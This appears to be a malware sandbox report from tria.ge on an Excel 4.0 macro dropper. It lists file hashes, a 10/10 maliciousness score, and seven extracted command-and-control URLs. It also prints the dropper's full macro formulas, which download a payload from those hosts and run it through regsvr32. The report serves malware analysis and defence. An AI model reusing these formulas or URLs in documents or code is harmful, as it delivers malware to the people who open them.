Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    52007ccde4ddf4df05772b835bdcc37ccdfcc2bfcbc35bce3b6cce01df2a4c6d

  • Size

    35KB

  • Sample

    241111-z33vqswhlk

  • MD5

    53be1163156130023d6ba3a1cbc5556c

  • SHA1

    c5c8ef33c2493744279da1636aa12baafcbdd8a9

  • SHA256

    52007ccde4ddf4df05772b835bdcc37ccdfcc2bfcbc35bce3b6cce01df2a4c6d

  • SHA512

    befe429f03f39182387863858d665250d5be214ab6831570b6641e0d78c58438d630742ee695dbe5baa3a44f80168dbc63a876d6368a54a898c4a262dce91bb9

  • SSDEEP

    768:K0t+5eEAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooaDx:K0t+gEUOZZ1ZYpoQ/pMA39

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.rivabodrumresort.com/eski_site/HozRXt/

https://www.iinil.com/phpmyadmin/oWnF6m7JoN/

https://britainsolicitors.com/wp-admin/OshgKKcJ3I/

https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/

https://britspizzeria.com/cgi-bin/WRo/

https://trainingeighteen.co.zw/wp-content/f1Q3/

https://thiendoan.com/venmo/Mp1r/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.rivabodrumresort.com/eski_site/HozRXt/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.iinil.com/phpmyadmin/oWnF6m7JoN/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britainsolicitors.com/wp-admin/OshgKKcJ3I/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britspizzeria.com/cgi-bin/WRo/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://trainingeighteen.co.zw/wp-content/f1Q3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thiendoan.com/venmo/Mp1r/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://www.rivabodrumresort.com/eski_site/HozRXt/

xlm40.dropper

https://www.iinil.com/phpmyadmin/oWnF6m7JoN/

xlm40.dropper

https://britainsolicitors.com/wp-admin/OshgKKcJ3I/

xlm40.dropper

https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/

xlm40.dropper

https://britspizzeria.com/cgi-bin/WRo/

xlm40.dropper

https://trainingeighteen.co.zw/wp-content/f1Q3/

xlm40.dropper

https://thiendoan.com/venmo/Mp1r/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://www.rivabodrumresort.com/eski_site/HozRXt/

xlm40.dropper

https://www.iinil.com/phpmyadmin/oWnF6m7JoN/

xlm40.dropper

https://britainsolicitors.com/wp-admin/OshgKKcJ3I/

Targets

    • Target

      52007ccde4ddf4df05772b835bdcc37ccdfcc2bfcbc35bce3b6cce01df2a4c6d

    • Size

      35KB

    • MD5

      53be1163156130023d6ba3a1cbc5556c

    • SHA1

      c5c8ef33c2493744279da1636aa12baafcbdd8a9

    • SHA256

      52007ccde4ddf4df05772b835bdcc37ccdfcc2bfcbc35bce3b6cce01df2a4c6d

    • SHA512

      befe429f03f39182387863858d665250d5be214ab6831570b6641e0d78c58438d630742ee695dbe5baa3a44f80168dbc63a876d6368a54a898c4a262dce91bb9

    • SSDEEP

      768:K0t+5eEAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooaDx:K0t+gEUOZZ1ZYpoQ/pMA39

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks